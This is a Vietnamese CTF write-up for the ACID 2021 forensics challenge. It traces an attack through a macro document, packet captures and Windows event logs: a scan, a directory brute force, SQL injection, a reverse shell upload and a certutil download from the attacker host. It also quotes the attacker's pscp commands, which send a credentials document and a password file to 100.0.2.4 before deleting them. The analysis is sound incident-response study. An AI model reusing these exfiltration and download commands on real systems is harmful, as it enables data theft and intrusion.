{%hackmd @abc90/temp3 %} # ACID 2021 ### _Toàn bộ hướng làm của mình giải ACID2021, có thể có sai sót, mong được chỉ bảo._ Phase 1: --- Introduction của giải, không có gì khác. Phase 2: --- ![](https://hackmd.io/_uploads/B1ctCUean.png) > Phần bôi đen là phần ta sẽ tập trung vào làm. - #### Identify zip installer that was used to zip the company’s encrypted files. Code có comment từng phần khá rõ ràng. Di chuyển đến comment `Download Installer` là thấy: ![](https://hackmd.io/_uploads/rk4xRLgan.png) Khá kì lạ khi gọi Invoke-Request lên Base64 :kekw...Ta decode nó ra xem. Kết quả là link tải 1 installer package của 7z: ![](https://hackmd.io/_uploads/SJfr0Lxph.png) Vì vậy, phần này mình sẽ trả lời là: `7z1604-x64.msi` Phase 3: --- ![](https://hackmd.io/_uploads/HkumnLgp2.png) > Phần bôi đen là phần ta sẽ tập trung vào làm. - #### Suspicious findings (e.g. IP address) originating from Unified Solutions. Trước tiên cứ xem qua metadata có gì với `exiftool`: ![](https://hackmd.io/_uploads/S1IGCIxah.png) > Rất nhiều thông tin hữu ích như Creator, Last Modified By, Date Time, etc.... Ngoài ra để ý file type là Docm, tức là Document có enable macro, mình xem thử macro của nó thử với `olevba`: ![](https://hackmd.io/_uploads/rJdQ08xp2.png) Macro dùng AutoOpen, 1 hàm nguy hiểm. Sau khi đọc qua code, ta có dễ thấy con document này tải về update.exe sau khi mở doc, cụ thể là tải từ link như trong hình kia. Và vì là sussy file nên host của nó cũng sẽ đáng nghi rồi, ta có sus IP tìm được: `100.0.2.12` Phase 4: --- ![](https://hackmd.io/_uploads/rJFUnUla2.png) Sau khi xem qua file pcap, mình rút ra 1 số kết luận về quy trình tấn công của attacker như sau: 1. Đầu tiên là quét IP đang hoạt động: Rất nhiều packet ARP liền kề nhau, mà các giá trị ở octet cuối cũng liền nhau nốt :v. Áp filter `ARP` vào, ta có thể thấy: ![](https://hackmd.io/_uploads/B1vd3Lgan.png) 2. Sau khi dò quét IP, nó ping thử tới IP `100.0.2.12`, cũng là cái IP ta tìm được ở phase trên. Sau khi ping thành công thì... 3. Scan port. Ta sẽ thấy `100.0.2.4` gửi rất nhiều gói TCP tới từng cổng khác nhau của `100.0.2.12`: ![](https://hackmd.io/_uploads/rJn9hLep3.png) 4. Sau khi scan ra cổng 80 (HTTP), `100.0.2.4` bắt đầu `GET` dir liên tục lên `100.0.2.12`, nhằm bruteforce directory của host `100.0.2.12`: ![](https://hackmd.io/_uploads/SJPin8g62.png) Sau 1 loạt bruteforce không thành công, mình không rõ tại sao attacker _(100.0.2.4)_ lại biết cái path `/development_server_team_studio_app` để thực hiện brute tiếp trong đó :v Sau khi brute, attacker nhận được path như sau: `/development_server_team_studio_app/?` chứa 1 form đăng nhập của admin: ![](https://hackmd.io/_uploads/rkn63LgTn.png) 5. Sau khi có được cái path và biết được path dẫn tới 1 form login của admin, attacker quyết định bruteforce password với username là `admin`: ![](https://hackmd.io/_uploads/H1BJ6Lg62.png) 6. Nhưng xem chừng bruteforce không có được kết quả gì, attacker chuyển qua dùng `SQLi`: ![](https://hackmd.io/_uploads/SJbepIlTh.png) Và tới đây, attacker đã inject thành công và lấy được acc admin: ![](https://hackmd.io/_uploads/r1R-aIxTh.png) Và được chuyển hướng tới `/development_server_team_studio_app/user/UserHome.php`. Trang chủ sau khi login sẽ có 3 chức năng: ![](https://hackmd.io/_uploads/ryEVa8gph.png) 7. Lợi dụng `UpdateUserProfile.php` cho phép update thông tin người dùng từ admin page, attacker đẩy reverseshell lên: ![](https://hackmd.io/_uploads/HyrwpLxan.png) Dễ thấy cả link github của con revshell luôn :v 8. Đẩy reverseshell lên và chiếm root, attacker xài 1 số command: ![](https://hackmd.io/_uploads/SkudaUe62.png) 2 command `cd` không đáng để ý. Command thứ 3 sử dụng `certutil` khá lạ đối với mình. Sau khi tìm hiểu thì mình biết nó nhằm tìm nạp 1 URL cụ thể và cập nhật cache. Đó là toàn bộ những gì mình tìm hiểu hoạt động của attacker bằng pcap. Mình sẽ có câu trả lời như sau: 1. How was our web server compromised? Bị attacker dò quét, tấn công lấy account admin bằng bruteforce, sqli, sau đó sử dụng để làm trò linh tinh (C2 server). 2. Who is/are the attacker(s)? Toàn bộ cách hành động trên đều thuộc về `100.0.2.4`. Và đó là đáp án của mình luôn: `100.0.2.4`. 3. Were any malicious activities performed? If so, what data was affected? Phần cuối, attacker có nạp URL `http://100.0.2.4:8000/update.exe` về cập nhật cache. Nên phần này, hành động sẽ ảnh hưởng tới cache :v. Mình không chắc chắn do chưa hiểu rõ về `certutil`. Phase 5: --- ![](https://hackmd.io/_uploads/S1n9a8lan.png) Đi thẳng vào pcap, để ý có protocol SSH, ta theo dõi tcp stream là sẽ thấy được toàn bộ hành động trong quá trình SSH: ![](https://hackmd.io/_uploads/Bk_o6Lx63.png) Sau khi nhìn qua stream này (cũng là stream duy nhất ta cần phân tích), mình nhận thấy: >pscp C:\xampp\htdocs\development_server_team_studio_app\Account_Credentials_for_Team_Studio.docx root@100.0.2.4:/exfiltrated_info_from_unified_solutions` Attacker tuồn file docs sang 100.0.2.4 bằng `pscp`. Thực ra nhìn cái cách set tên kia là cũng biết nó exfiltrate rồi :v >powershell "'xt^awn5zs1X<26"R^+>x,fFH{68SB'" | Out-File -FilePath .\drydolphin_password.txt Gọi Powershell, set đoạn text `xtawn5zs1X<26"R+>x,fFH{68SB` ||(Decode Base91 ra, dựa vào Code Snippet từ Phase 2, ta sẽ được password để mở Sample zip)|| vào 1 file text, sau đó tiến hành transfer qua C2 Server tương tự con file bên trên: > pscp C:\xampp\htdocs\development_server_team_studio_app\drydolphin_password.txt root@100.0.2.4:/exfiltrated_info_from_unified_solutions Sau khi tuồn file đi xong, attacker xoá cả 2 file đi: > rm drydolphin_password.txt > rm Account_Credentials_for_Team_Studio.docx Ta đã có được file bị xoá và exfiltrated theo yêu cầu, file CSV mình nghĩ là để lấy thời gian của nó. CSV là 1 file excel lưu từ Security log. Mình viết quick script sau để sort ra các event có ID `4663` với accesses là `DELETE`: ``` with open("UnifiedSolutionsEventLogs.csv", "r") as f: data = f.readlines() Node = [] for i in range(1, len(data)): if "Information," in data[i] or (i + 1) == len(data): if len(Node) != 0: EventID = Node[0].split(',')[3] if EventID == '4663': if 'DELETE' in Node[20]: for j in Node: print(j, end = "") print("-----------------------------------------") Node = [] Node.append(data[i]) else: Node.append(data[i]) ``` Đây là output mình nhận được: ``` Information,18/8/2021 1:56,Microsoft-Windows-Security-Auditing,4663,File System,"An attempt was made to access an object. Subject: Security ID: S-1-5-21-1897952862-3656991677-1792418944-1001 Account Name: REM Account Domain: Prometheus Logon ID: 0x114F9 Object: Object Server: Security Object Type: File Object Name: C:\xampp\htdocs\development_server_team_studio_app\Account_Credentials_for_Team_Studio.docx Handle ID: 0xb0 Resource Attributes: S:AI Process Information: Process ID: 0x17c0 Process Name: C:\Program Files\GnuWin32\bin\rm.exe Access Request Information: Accesses: DELETE Access Mask: 0x10000" ----------------------------------------- Information,18/8/2021 1:57,Microsoft-Windows-Security-Auditing,4663,File System,"An attempt was made to access an object. Subject: Security ID: S-1-5-21-1897952862-3656991677-1792418944-1001 Account Name: REM Account Domain: Prometheus Logon ID: 0x114F9 Object: Object Server: Security Object Type: File Object Name: C:\xampp\htdocs\development_server_team_studio_app\drydolphin_password.txt Handle ID: 0xb4 Resource Attributes: S:AI Process Information: Process ID: 0x1c40 Process Name: C:\Program Files\GnuWin32\bin\rm.exe Access Request Information: Accesses: DELETE Access Mask: 0x10000" ----------------------------------------- Information,18/8/2021 2:08,Microsoft-Windows-Security-Auditing,4663,File System,"An attempt was made to access an object. Subject: Security ID: S-1-5-21-1897952862-3656991677-1792418944-1001 Account Name: REM Account Domain: Prometheus Logon ID: 0x114F9 Object: Object Server: Security Object Type: File Object Name: C:\xampp\htdocs\development_server_team_studio_app\Account Credentials for Team Studio.docx Handle ID: 0x21a8 Resource Attributes: S:AI Process Information: Process ID: 0x6c0 Process Name: C:\Windows\explorer.exe Access Request Information: Accesses: DELETE Access Mask: 0x10000" ----------------------------------------- Information,18/8/2021 3:16,Microsoft-Windows-Security-Auditing,4663,File System,"An attempt was made to access an object. Subject: Security ID: S-1-5-21-1897952862-3656991677-1792418944-1001 Account Name: REM Account Domain: Prometheus Logon ID: 0x114F9 Object: Object Server: Security Object Type: File Object Name: C:\$Recycle.Bin\S-1-5-21-1897952862-3656991677-1792418944-1001\$RS77A8M.pcapng Handle ID: 0x860 Resource Attributes: S:AI Process Information: Process ID: 0x6c0 Process Name: C:\Windows\explorer.exe Access Request Information: Accesses: DELETE Access Mask: 0x10000" ----------------------------------------- Information,18/8/2021 3:25,Microsoft-Windows-Security-Auditing,4663,File System,"An attempt was made to access an object. Subject: Security ID: S-1-5-21-1897952862-3656991677-1792418944-1001 Account Name: REM Account Domain: Prometheus Logon ID: 0x114F9 Object: Object Server: Security Object Type: File Object Name: C:\xampp\htdocs\development_server_team_studio_app\acid_scenario5.pcapng Handle ID: 0x306c Resource Attributes: S:AI Process Information: Process ID: 0x6c0 Process Name: C:\Windows\explorer.exe Access Request Information: Accesses: DELETE Access Mask: 0x10000" ----------------------------------------- ``` 2 log dưới là file lúc author build đề thôi :v. Ngoài ra có 1 log là file `Account Credentials for Team Studio.docx`, giống tên file ta tìm được trong phần SSH ở trên, chỉ là không có dấu gạch chân. Lúc attacker dùng `dir` cũng không thấy xuất hiện file này, nên chắc chắn cũng là file phát sinh lúc build đề, ta bỏ qua, lấy 2 log của file ta nhắm vào. Và đáp án của mình trong Phase này là: 2 files bị xoá: + `C:\xampp\htdocs\development_server_team_studio_app\Account_Credentials_for_Team_Studio.docx` vào lúc `18/8/2021 1:56` + `C:\xampp\htdocs\development_server_team_studio_app\drydolphin_password.txt` vào lúc `18/8/2021 1:57` ### Và đó là toàn bộ cách làm của mình, cảm ơn đã đọc ♫꒰・‿・๑꒱